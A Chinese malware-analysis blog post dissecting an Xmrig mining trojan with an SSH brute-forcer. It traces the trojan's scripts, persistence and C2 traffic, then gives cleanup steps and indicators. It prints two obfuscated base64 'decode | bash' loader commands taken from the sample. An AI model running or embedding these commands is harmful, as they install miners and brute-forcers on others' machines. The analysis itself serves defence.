Xmrig 挖矿木马暴力分析
作者:互联网
前提:某天腾讯云发来一封邮件来提醒,自己的服务器中木马了。根据邮件中的提示,把疑似木马的程序 tsm64 拷贝下来,上传到 vt 上,确认是木马。好了,开始分析它。
一、初步定位恶意程序在系统中的痕迹
首先,通过命令“find / -name “tsm64” “全局搜索这个恶意样本存储在哪个目录,最后在/tmp/.X25-unix/.rsync/c 目录下发现了它。浏览整个.rsync 目录,发现都是恶意样本相关的文件,于是将其打包下载到本地进行分析。对该目录的子目录和文件进行分析,得到以下信息:
- tddwrt7s.sh 为起点,该脚本通过 curl 从远端下载 dota3.tar.gz 并解压,再调用 initall 进行初始化。
点击并拖拽以移动
2. Initall 脚本先执行 init 脚本,再执行 init2 脚本。init 脚本将 dota3.tar.gz 解压出的.configrc 目录复制到 root 目录下,并在后台执行 a 目录下的 init0 脚本(github 上分享的一个专杀矿工进程的脚本)清除主机可能已经存在的矿工进程,后台运行 a 与 b 目录下的 a 脚本和 c 目录下的 start 脚本,再设置每分钟检查执行 cron.d 脚本(自己生成的),该脚本将 a 目录下 upd 脚本和 b 目录下的 sync 脚本设置为每次系统重启后执行。
点击并拖拽以移动
3. Init2 脚本前面的工作与 init 相同,略过 。
-
a 目录下的 upd 脚本会执行 run 脚本,而 run 脚本会先执行 stop 脚本停止上一轮该系列脚本的工作(相当于为新一轮脚本执行做准备),重点是其会执行恶意的可执行文件 kswapd0。在 Linux 中,kswapd0 进程是用来管理虚拟内存的。kswapd0 移动内存的过程就会造成 CPU 的大量使用,所以该恶意程序通过伪装成 kswapd0 进程来规避管理员怀疑其大量耗用 CPU 资源的行为。
-
b 目录下的 run 脚本会将一个固定 ssh rsa 密钥存储在 ~/.ssh/authorized_keys 中实现持久化控制访问我的服务器。
点击并拖拽以移动
6. C 目录下的 aptitude 脚本执行 go 脚本,而 go 脚本会执行 tsm 脚本。Tsm 脚本会根据服务器系统的位数而选择执行恶意可执行文件 tsm32 还是 tsm64 。
.rsync 目录下各脚本调用关系如下图所示:
点击并拖拽以移动
二、静态分析
在服务器中执行 top 命令查看各进程对资源占用情况进行分析,发现一个叫”./kswapd0”的进程对 CPU 占用率 99%。先分析 kswapd0 这个 64 位的可执行文件,通过 ida 的字符串搜索,发现字符串” https://xmrig.com/wizard ”( xmrig 是用于 Monero (XMR) CPU 挖矿的)。同时还找到矿机的配置内容,了解了下社区中挖矿教程,可以知道其中的 user 字段即是该黑客的门罗钱包地址。结合对反编译后的伪代码分析,发现 kswapd0 的执行逻辑与数据和 xmrig(ELF 文件,下载地址 https://github.com/xmrig/xmrig/releases/download/v6.12.1/xmrig-6.12.1-linux-x64.tar.gz )极为相似,所以得出结论–kswapd0 就是 xmrig 矿机。
点击并拖拽以移动
点击并拖拽以移动
那么就剩下 tsm32/tsm64 这组恶意程序还未知其功能,拖进 ida 里分析一下。
tsm64 是一个 64 位 ELF 文件,先拖进 ida 里进行分析。从 start 函数里找到 main 函数的入口,点进去,F5 失败,ida 报错原因是这个函数太大了。在汇编窗口浏览代码,发现在函数开头有一条指令开辟了巨大的堆栈空间,“sub rsp, 3D6A58h”。尝试 nop 掉该指令,以及 nop 掉结尾处的“add rsp, 3D6A58h”指令。再次 F5,还是无法反编译。没办法只能先看汇编了。汇编界面按空格查看流程图,发现下面有一段执行流疑似经过了平坦化处理。查看了一下负责分发的块,里面定义了一张地址表,按顺序执行表中的基本块。由于基本块数量较少,就一个个去看了。分析后得到的结果,loc_405022 打印了一个负责扫描内外工具(命令行)的使用说明,loc_406257 执行一组删除操作(目的是擦除入侵痕迹,删除的内容可以作为下一阶段追朔的线索),loc_40506C 执行了“whoami“命令,其余基本块的作用都是通过 strtol 函数将一个字符串转化为一个十进制数然后写入到一个数组里,这里并没有找到字符串来源(应该是命令行参数输进来的),loc_404F37 负责将一个标志置 1(进入这个分发器前初始化为 0,应该是为了判断有没有完成以上操作,在 loc_406257 中再次判断,如果不为 0 则离开这个分发器)。
点击并拖拽以移动
点击并拖拽以移动
根据逻辑如果正常执行到 loc_406257,就会来到 loc_4062BD。在这里,程序通过 system 函数执行命令"sort -R b > p; sort -R a > ip"。先不理会这个信息。在下一个块里,该程序对’/dev/tty’(是我们使用的控制终端)进行读取,可以查看到当前终端的显示内容。
sub_408680 函数中实现了与 45.9.148.125(查 ip,发现是一个荷兰的服务器)建立 ssh 连接,以及读取文件 v(作用未知)。sub_4099F0 函数进行文件写入或者发送数据。到这里可以知道该恶意程序的一个恶意行为是读取文件 v 的内容然后发送给该远程服务器。
点击并拖拽以移动
点击并拖拽以移动
紧接着,该程序将从终端读取到的内容保存到变量 s 里
通过搜索字符串发现了两组恶意命令“echo “IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjUtdW5peApjZCAuWDI1LXVuaXgKbXYgL3Zhci90bXAvZG90YTMudGFyLmd6IGRvdGEzLnRhci5negp0YXIgeGYgZG90YTMudGFyLmd6CnNsZWVwIDNzICYmIGNkIC5yc3luYzsgY2F0IC90bXAvLlgyNS11bml4Ly5yc3luYy9pbml0YWxsIHwgYmFzaCAyPjEmCnNsZWVwIDQ1cyAmJiBwa2lsbCAtOSBydW4gJiYgcGtpbGwgLTkgZ28gJiYgcGtpbGwgLTkgdHNtCmV4aXQgMA==” | base64 --decode | bash “和”echo “IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjUtdW5peApjZCAuWDI1LXVuaXgKbXYgL3Zhci90bXAvZG90YTMudGFyLmd6IGRvdGEzLnRhci5negp0YXIgeGYgZG90YTMudGFyLmd6CnNsZWVwIDNzICYmIGNkIC90bXAvLlgyNS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyNS11bml4Ly5yc3luYy9jL3RzbSAtdCAxNTAgLVMgNiAtcyA2IC1wIDIyIC1QIDAgLWYgMCAtayAxIC1sIDEgLWkgMCAvdG1wL3VwLnR4dCAxOTIuMTY4ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDhtICYmIG5vaHVwIC90bXAvLlgyNS11bml4Ly5yc3luYy9jL3RzbSAtdCAxNTAgLVMgNiAtcyA2IC1wIDIyIC1QIDAgLWYgMCAtayAxIC1sIDEgLWkgMCAvdG1wL3VwLnR4dCAxNzIuMTYgPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgMjBtICYmIGNkIC4uOyAvdG1wLy5YMjUtdW5peC8ucnN5bmMvaW5pdGFsbCAyPjEmCmV4aXQgMA==” | base64 --decode | bash “,分别对它们 base64 的内容解密,结果如下:
点击并拖拽以移动
可以看出,上面解密出来的脚本与.rsync 和.configrc 目录下的 shell 脚本作用基本是相同的。
三、动态分析
首先通过“./tsm64 -t 202 -f 1 -s 12 -S 9 -p 0 -d 1 p ip”命令执行一下 tsm64,看一下有什么效果。Tsm64 在执行过程中会产生 a、b、p、ip 和 v 五个文件,其中 a 和 ip 存储的都是 IP 地址以及端口号,而 b 和 p 存储的是由用户名和密码组成的字典。接下来,可以看到 tsm64 创建大量线程去连接 ip 中的服务器,并尝试爆破 ssh 的账号。
点击并拖拽以移动
接下来,想知道 ip 这些文件是哪里来的,因为程序中和本地都没有它们存在。猜测是网络下载,于是打算跟踪 connect 函数的调用,发现程序最先与 45.9.148.125 建立连接。
点击并拖拽以移动
而紧接着在完成与 45.9.148.125 进行 ssh 连接建立的过程后,终于来到我们想看到的文件下载阶段。我们可以看到在接收的数据中有大段的 IP 地址,如下图所示。
点击并拖拽以移动
后来,由发现在 sub_409100 函数中,该恶意程序随机选取下图中三个 IP 地址作为 C2 地址进行连接。
点击并拖拽以移动
tsm64 下载好这些文件后,打开文件 p 进行逐行读取,将里面的需要爆破的 ip 和端口读出。这里 tsm64 创建了五百多个线程去爆破目标。
点击并拖拽以移动
创建文件 v 进行读取,如果读出数据,则发送到远端服务器。由于 v 文件一直为空,这一步一直无法验证。但是,基于以上的分析,可以猜出,v 文件存储的是爆破结果。
点击并拖拽以移动
四、清除方案
对于处理该挖矿木马,提出以下清除方案:
-
通过 crontab -e 命令删除相关的四条定时任务。
-
杀死 kswapd0 进程,如果 tsm32、tsm64 进程也存在的话也杀死。
-
删除~/.configrc 目录、/tmp/.X25-unix/.rsync 目录、dota3.tar.gz 文件,以及~/.ssh/authorized_keys 文件。
-
更新 ssh 的账号密码,因为该木马就是通过爆破 ssh 账号进来的。
五、特征总结
黑客的门罗钱包地址:483fmPjXwX75xmkaJ3dm4vVGWZLHn3GDuKycHypVLr9SgiT6oaZgVh26iZRpwKEkTZCAmUS8tykuwUorM3zGtWxPBFqwuxS
矿工名:“x”
C2 地址:45.9.148.125、45.9.148.129、和 45.9.148.117
目标矿池地址:
-
“url”: “debian-package.center:80”
-
“url”: “[2a0e:fa00:0:5::1]:443”
-
“url”: “[2a0e:fa00:0:5::1]:80”
-
“url”: “45.9.148.129:80”
-
“url”: “45.9.148.129:443”
-
“url”: “45.9.148.117:80”
-
“url”: “45.9.148.117:443”
-
“url”: “45.9.148.58:80”
-
“url”: “45.9.148.58:443”
-
“url”: “45.9.148.59:80”
-
“url”: “45.9.148.59:443”
标签:脚本,45.9,url,点击,tsm64,木马,Xmrig,拖拽,挖矿 来源: https://blog.csdn.net/m0_59246409/article/details/117962874